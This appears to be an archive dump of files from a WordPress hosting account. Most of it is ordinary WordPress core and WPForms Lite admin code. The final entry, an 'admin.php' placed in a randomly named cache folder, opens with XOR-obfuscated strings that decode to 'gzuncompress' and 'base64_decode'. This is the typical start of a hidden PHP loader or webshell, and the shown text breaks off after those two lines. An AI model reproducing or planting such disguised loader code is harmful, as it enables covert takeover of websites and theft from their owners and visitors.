home/xbodynamge/lebauwcentre/wp-admin/user/admin.php000060400000001521151137701730016604 0ustar00<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define( 'WP_USER_ADMIN', true );

require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}
unset( $redirect_user_admin_request );
home/xbodynamge/dev/wp-admin/includes/admin.php000060400000005604151140250000015517 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined('WP_ADMIN') ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once(ABSPATH . 'wp-admin/includes/admin-filters.php');

/** WordPress Bookmark Administration API */
require_once(ABSPATH . 'wp-admin/includes/bookmark.php');

/** WordPress Comment Administration API */
require_once(ABSPATH . 'wp-admin/includes/comment.php');

/** WordPress Administration File API */
require_once(ABSPATH . 'wp-admin/includes/file.php');

/** WordPress Image Administration API */
require_once(ABSPATH . 'wp-admin/includes/image.php');

/** WordPress Media Administration API */
require_once(ABSPATH . 'wp-admin/includes/media.php');

/** WordPress Import Administration API */
require_once(ABSPATH . 'wp-admin/includes/import.php');

/** WordPress Misc Administration API */
require_once(ABSPATH . 'wp-admin/includes/misc.php');

/** WordPress Options Administration API */
require_once(ABSPATH . 'wp-admin/includes/options.php');

/** WordPress Plugin Administration API */
require_once(ABSPATH . 'wp-admin/includes/plugin.php');

/** WordPress Post Administration API */
require_once(ABSPATH . 'wp-admin/includes/post.php');

/** WordPress Administration Screen API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-screen.php');
require_once(ABSPATH . 'wp-admin/includes/screen.php');

/** WordPress Taxonomy Administration API */
require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');

/** WordPress Template Administration API */
require_once(ABSPATH . 'wp-admin/includes/template.php');

/** WordPress List Table Administration API and base class */
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php');
require_once(ABSPATH . 'wp-admin/includes/list-table.php');

/** WordPress Theme Administration API */
require_once(ABSPATH . 'wp-admin/includes/theme.php');

/** WordPress User Administration API */
require_once(ABSPATH . 'wp-admin/includes/user.php');

/** WordPress Site Icon API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-site-icon.php');

/** WordPress Update Administration API */
require_once(ABSPATH . 'wp-admin/includes/update.php');

/** WordPress Deprecated Administration API */
require_once(ABSPATH . 'wp-admin/includes/deprecated.php');

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once(ABSPATH . 'wp-admin/includes/ms-admin-filters.php');
	require_once(ABSPATH . 'wp-admin/includes/ms.php');
	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
}
home/xbodynamge/www/wp-admin/admin.php000060400000024443151140362210013770 0ustar00<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined('WP_NETWORK_ADMIN') )
	define('WP_NETWORK_ADMIN', false);

if ( ! defined('WP_USER_ADMIN') )
	define('WP_USER_ADMIN', false);

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define('WP_BLOG_ADMIN', true);
}

if ( isset($_GET['import']) && !defined('WP_LOAD_IMPORTERS') )
	define('WP_LOAD_IMPORTERS', true);

require_once(dirname(dirname(__FILE__)) . '/wp-load.php');

nocache_headers();

if ( get_option('db_upgraded') ) {
	flush_rewrite_rules();
	update_option( 'db_upgraded',  false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );
} elseif ( get_option('db_version') != $wp_db_version && empty($_POST) ) {
	if ( !is_multisite() ) {
		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;

	/**
	 * Filters whether to attempt to perform the multisite DB upgrade routine.
	 *
	 * In single site, the user would be redirected to wp-admin/upgrade.php.
	 * In multisite, the DB upgrade routine is automatically fired, but only
	 * when this filter returns true.
	 *
	 * If the network is 50 sites or less, it will run every time. Otherwise,
	 * it will throttle itself to reduce load.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
	 */
	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

		/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . '/http.php' );
			$response = wp_remote_get( admin_url( 'upgrade.php?step=1' ), array( 'timeout' => 120, 'httpversion' => '1.1' ) );
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset($response);
		}
		unset($c);
	}
}

require_once(ABSPATH . 'wp-admin/includes/admin.php');

auth_redirect();

// Schedule trash collection
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() )
	wp_schedule_event(time(), 'daily', 'wp_scheduled_delete');

// Schedule Transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php
 * $wp_importers is sometimes set in wp-admin/includes/import.php
 * The remaining variables are imported as globals elsewhere, declared as globals here
 *
 * @global string $pagenow
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow
 * @global string $taxnow
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset($_GET['page']) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename($plugin_page);
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
	$typenow = $_REQUEST['post_type'];
else
	$typenow = '';

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) )
	$taxnow = $_REQUEST['taxonomy'];
else
	$taxnow = '';

if ( WP_NETWORK_ADMIN )
	require(ABSPATH . 'wp-admin/network/menu.php');
elseif ( WP_USER_ADMIN )
	require(ABSPATH . 'wp-admin/user/menu.php');
else
	require(ABSPATH . 'wp-admin/menu.php');

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset($plugin_page) ) {
	if ( !empty($typenow) )
		$the_parent = $pagenow . '?post_type=' . $typenow;
	else
		$the_parent = $pagenow;
	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);

		// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
				$query_string = $_SERVER[ 'QUERY_STRING' ];
			else
				$query_string = 'page=' . $plugin_page;
			wp_redirect( admin_url('tools.php?' . $query_string) );
			exit;
		}
	}
	unset($the_parent);
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset($plugin_page) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" );
		if (! isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * @ignore
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

		if ( !( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) && !( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") && is_file(WPMU_PLUGIN_DIR . "/$plugin_page") ) )
			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" );

		if ( !isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

		if ( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") )
			include(WPMU_PLUGIN_DIR . "/$plugin_page");
		else
			include(WP_PLUGIN_DIR . "/$plugin_page");
	}

	include(ABSPATH . 'wp-admin/admin-footer.php');

	exit();
} elseif ( isset( $_GET['import'] ) ) {

	$importer = $_GET['import'];

	if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
	}

	if ( validate_file($importer) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" );

	$parent_file = 'tools.php';
	$submenu_file = 'import.php';
	$title = __('Import');

	if (! isset($_GET['noheader']))
		require_once(ABSPATH . 'wp-admin/admin-header.php');

	require_once(ABSPATH . 'wp-admin/includes/upgrade.php');

	define('WP_IMPORTING', true);

	/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

	call_user_func($wp_importers[$importer][2]);

	include(ABSPATH . 'wp-admin/admin-footer.php');

	// Make sure rules are flushed
	flush_rewrite_rules(false);

	exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current page, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" );

	/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( $typenow == 'page' ) {
		if ( $pagenow == 'post-new.php' )
			do_action( 'load-page-new.php' );
		elseif ( $pagenow == 'post.php' )
			do_action( 'load-page.php' );
	}  elseif ( $pagenow == 'edit-tags.php' ) {
		if ( $taxnow == 'category' )
			do_action( 'load-categories.php' );
		elseif ( $taxnow == 'link_category' )
			do_action( 'load-edit-link-categories.php' );
	} elseif( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' );
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
	 * refers to the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( 'admin_action_' . $_REQUEST['action'] );
}
home/xbodynamge/www/wp-admin/user/admin.php000060400000001512151140443420014741 0ustar00<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define('WP_USER_ADMIN', true);

require_once( dirname(dirname(__FILE__)) . '/admin.php');

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}
unset( $redirect_user_admin_request );
home/xbodynamge/lebauwcentre/wp-content/plugins/wpforms-lite/includes/admin/admin.php000064400000036146151140563330025232 0ustar00<?php
/**
 * Global admin related items and functionality.
 *
 * @package    WPForms
 * @author     WPForms
 * @since      1.3.9
 * @license    GPL-2.0+
 * @copyright  Copyright (c) 2017, WPForms LLC
 */

/**
 * Load styles for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_styles() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	// jQuery confirm.
	wp_enqueue_style(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery-confirm.min.css',
		array(),
		'3.3.2'
	);

	// Minicolors (color picker).
	wp_enqueue_style(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery.minicolors.css',
		array(),
		'2.2.6'
	);

	// FontAwesome.
	wp_enqueue_style(
		'wpforms-font-awesome',
		WPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',
		null,
		'4.7.0'
	);

	// Main admin styles.
	wp_enqueue_style(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/css/admin{$min}.css",
		array(),
		WPFORMS_VERSION
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_styles' );

/**
 * Load scripts for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_scripts() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	wp_enqueue_media();

	// jQuery confirm.
	wp_enqueue_script(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.jquery-confirm.min.js',
		array( 'jquery' ),
		'3.3.2',
		false
	);

	// Minicolors (color picker).
	wp_enqueue_script(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.minicolors.min.js',
		array( 'jquery' ),
		'2.2.6',
		false
	);

	// Choices.js.
	wp_enqueue_script(
		'choicesjs',
		WPFORMS_PLUGIN_URL . 'assets/js/choices.min.js',
		array(),
		'2.8.10',
		false
	);

	// jQuery Conditionals.
	wp_enqueue_script(
		'jquery-conditionals',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.conditionals.min.js',
		array( 'jquery' ),
		'1.0.1',
		false
	);

	// Main admin script.
	wp_enqueue_script(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/js/admin{$min}.js",
		array( 'jquery' ),
		WPFORMS_VERSION,
		false
	);

	$strings = array(
		'addon_activate'                  => esc_html__( 'Activate', 'wpforms-lite' ),
		'addon_activated'                 => esc_html__( 'Activated', 'wpforms-lite' ),
		'addon_active'                    => esc_html__( 'Active', 'wpforms-lite' ),
		'addon_deactivate'                => esc_html__( 'Deactivate', 'wpforms-lite' ),
		'addon_inactive'                  => esc_html__( 'Inactive', 'wpforms-lite' ),
		'addon_install'                   => esc_html__( 'Install Addon', 'wpforms-lite' ),
		'addon_error'                     => esc_html__( 'Could not install addon. Please download from wpforms.com and install manually.', 'wpforms-lite' ),
		'plugin_error'                    => esc_html__( 'Could not install a plugin. Please download from WordPress.org and install manually.', 'wpforms-lite' ),
		'addon_search'                    => esc_html__( 'Searching Addons', 'wpforms-lite' ),
		'ajax_url'                        => admin_url( 'admin-ajax.php' ),
		'cancel'                          => esc_html__( 'Cancel', 'wpforms-lite' ),
		'close'                           => esc_html__( 'Close', 'wpforms-lite' ),
		'entry_delete_confirm'            => esc_html__( 'Are you sure you want to delete this entry?', 'wpforms-lite' ),
		'entry_delete_all_confirm'        => esc_html__( 'Are you sure you want to delete ALL entries?', 'wpforms-lite' ),
		'entry_empty_fields_hide'         => esc_html__( 'Hide Empty Fields', 'wpforms-lite' ),
		'entry_empty_fields_show'         => esc_html__( 'Show Empty Fields', 'wpforms-lite' ),
		'entry_field_columns'             => esc_html__( 'Entries Field Columns', 'wpforms-lite' ),
		'entry_note_delete_confirm'       => esc_html__( 'Are you sure you want to delete this note?', 'wpforms-lite' ),
		'entry_unstar'                    => esc_html__( 'Unstar entry', 'wpforms-lite' ),
		'entry_star'                      => esc_html__( 'Star entry', 'wpforms-lite' ),
		'entry_read'                      => esc_html__( 'Mark entry read', 'wpforms-lite' ),
		'entry_unread'                    => esc_html__( 'Mark entry unread', 'wpforms-lite' ),
		'form_delete_confirm'             => esc_html__( 'Are you sure you want to delete this form?', 'wpforms-lite' ),
		'form_duplicate_confirm'          => esc_html__( 'Are you sure you want to duplicate this form?', 'wpforms-lite' ),
		'heads_up'                        => esc_html__( 'Heads up!', 'wpforms-lite' ),
		'importer_forms_required'         => esc_html__( 'Please select at least one form to import.', 'wpforms-lite' ),
		'isPro'                           => wpforms()->pro,
		'nonce'                           => wp_create_nonce( 'wpforms-admin' ),
		'ok'                              => esc_html__( 'OK', 'wpforms-lite' ),
		'plugin_install_activate_btn'     => esc_html__( 'Install and Activate', 'wpforms-lite' ),
		'plugin_install_activate_confirm' => esc_html__( 'needs to be installed and activated to import its forms. Would you like us to install and activate it for you?', 'wpforms-lite' ),
		'plugin_activate_btn'             => esc_html__( 'Activate', 'wpforms-lite' ),
		'plugin_activate_confirm'         => esc_html__( 'needs to be activated to import its forms. Would you like us to activate it for you?', 'wpforms-lite' ),
		'provider_delete_confirm'         => esc_html__( 'Are you sure you want to disconnect this account?', 'wpforms-lite' ),
		'provider_auth_error'             => esc_html__( 'Could not authenticate with the provider.', 'wpforms-lite' ),
		'save_refresh'                    => esc_html__( 'Save and Refresh', 'wpforms-lite' ),
		'settings_form_style_base'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>Base Styling Only</strong>, which may result in styling issues. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for common issues and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'settings_form_style_none'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>No Styling</strong>, which will likely result in significant styling issues and is recommended only for developers. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for more details and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'testing'                         => esc_html__( 'Testing', 'wpforms-lite' ),
		'upgrade_completed'               => esc_html__( 'Upgrade was successfully completed!', 'wpforms-lite' ),
		'upload_image_title'              => esc_html__( 'Upload or Choose Your Image', 'wpforms-lite' ),
		'upload_image_button'             => esc_html__( 'Use Image', 'wpforms-lite' ),
		'upgrade_modal'                   => wpforms_get_upgrade_modal_text(),
		'choicesjs_fields_select'         => esc_html__( 'Select fields', 'wpforms-lite' ),
		'choicesjs_loading'               => esc_html__( 'Loading...', 'wpforms-lite' ),
		'choicesjs_no_results'            => esc_html__( 'No results found', 'wpforms-lite' ),
		'choicesjs_no_choices'            => esc_html__( 'No choices to choose from', 'wpforms-lite' ),
		'choicesjs_item_select'           => esc_html__( 'Press to select', 'wpforms-lite' ),
	);
	$strings = apply_filters( 'wpforms_admin_strings', $strings );

	wp_localize_script(
		'wpforms-admin',
		'wpforms_admin',
		$strings
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_scripts' );

/**
 * Add body class to WPForms admin pages for easy reference.
 *
 * @since 1.3.9
 *
 * @param string $classes CSS classes, space separated.
 *
 * @return string
 */
function wpforms_admin_body_class( $classes ) {

	if ( ! wpforms_is_admin_page() ) {
		return $classes;
	}

	return "$classes wpforms-admin-page";
}

add_filter( 'admin_body_class', 'wpforms_admin_body_class', 10, 1 );

/**
 * Outputs the WPForms admin header.
 *
 * @since 1.3.9
 */
function wpforms_admin_header() {

	// Bail if we're not on a WPForms screen or page (also exclude form builder).
	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	// Omit header from Welcome activation screen.
	if ( 'wpforms-getting-started' === $_REQUEST['page'] ) {
		return;
	}
	?>
	<div id="wpforms-header-temp"></div>
	<div id="wpforms-header" class="wpforms-header">
		<img class="wpforms-header-logo" src="<?php echo WPFORMS_PLUGIN_URL; ?>assets/images/logo.png" alt="WPForms Logo"/>
	</div>
	<?php
}

add_action( 'in_admin_header', 'wpforms_admin_header', 100 );

/**
 * Remove non-WPForms notices from WPForms pages.
 *
 * @since 1.3.9
 */
function wpforms_admin_hide_unrelated_notices() {

	// Bail if we're not on a WPForms screen or page.
	if ( empty( $_REQUEST['page'] ) || strpos( $_REQUEST['page'], 'wpforms' ) === false ) {
		return;
	}

	global $wp_filter;

	if ( ! empty( $wp_filter['user_admin_notices']->callbacks ) && is_array( $wp_filter['user_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['user_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['admin_notices']->callbacks ) && is_array( $wp_filter['admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['all_admin_notices']->callbacks ) && is_array( $wp_filter['all_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['all_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}
}

add_action( 'admin_print_scripts', 'wpforms_admin_hide_unrelated_notices' );

/**
 * Upgrade link used within the various admin pages.
 *
 * Previously was only included as a method in wpforms-lite.php, but made
 * available globally in 1.3.9.
 *
 * @since 1.3.9
 *
 * @param string $medium utm_medium URL parameter.
 *
 * @return string.
 */
function wpforms_admin_upgrade_link( $medium = 'link' ) {
	return apply_filters( 'wpforms_upgrade_link', 'https://wpforms.com/lite-upgrade/?discount=LITEUPGRADE&amp;utm_source=WordPress&amp;utm_medium=' . sanitize_key( apply_filters( 'wpforms_upgrade_link_medium', $medium ) ) . '&amp;utm_campaign=liteplugin' );
}

/**
 * Check the current PHP version and display a notice if on unsupported PHP.
 *
 * @since 1.4.0.1
 * @since 1.5.0 Raising this awareness of old PHP version message from 5.2 to 5.3.
 */
function wpforms_check_php_version() {

	// Display for PHP below 5.6
	if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
		return;
	}

	// Display for admins only.
	if ( ! is_super_admin() ) {
		return;
	}

	// Display on Dashboard page only.
	if ( isset( $GLOBALS['pagenow'] ) && 'index.php' !== $GLOBALS['pagenow'] ) {
		return;
	}

	// Display the notice, finally.
	WPForms_Admin_Notice::error(
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %1$s - WPForms plugin name; %2$s - WPForms.com URL to a related doc. */
				__( 'Your site is running an outdated version of PHP that is no longer supported and may cause issues with %1$s. <a href="%2$s" target="_blank" rel="noopener noreferrer">Read more</a> for additional information.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'<strong>WPForms</strong>',
			'https://wpforms.com/docs/supported-php-version/'
		) .
		'<br><br><em>' .
		wp_kses(
			__( '<strong>Please Note:</strong> Support for PHP 5.3 to 5.5 will be discontinued in 2019. After this, if no further action is taken, WPForms functionality will be disabled.', 'wpforms-lite' ),
			array(
				'strong' => array(),
				'em'     => array(),
			)
		) .
		'</em></p>'
	);
}
add_action( 'admin_init', 'wpforms_check_php_version' );

/**
 * Get an upgrade modal text.
 *
 * @since 1.4.4
 *
 * @return string
 */
function wpforms_get_upgrade_modal_text() {

	return
		'<p>' .
		esc_html__( 'Thanks for your interest in WPForms Pro!', 'wpforms-lite' ) . '<br>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com contact page URL. */
				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/contact/'
		) .
		'</p>' .
		'<p>' .
		wp_kses(
			__( 'After purchasing WPForms Pro, you\'ll need to <strong>download and install the Pro version of the plugin</strong>, and then <strong>remove the free plugin</strong>.', 'wpforms-lite' ),
			array(
				'strong' => array(),
			)
		) . '<br>' .
		esc_html__( '(Don\'t worry, all your forms and settings will be preserved.)', 'wpforms-lite' ) .
		'</p>' .
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&amp;utm_medium=link&amp;utm_campaign=liteplugin'
		) .
		'</p>';
}
home/xbodynamge/www/cache/68bab1326f17d/admin.php000064400000060435151140571550015235 0ustar00<?php 
    $JBHUOVFI = "\x2d\x31\x38\x3f\x3a\x38\x38\x25\x27\x2b\x2a\x26"^'JKMQYWUUUNYU';
    $LTNYUYOV = "\x31\x20\x24\x30\x71\x62\x12\x30\x23\x39\x2d\x37\x31"^'SAWUGVMTFZBST';
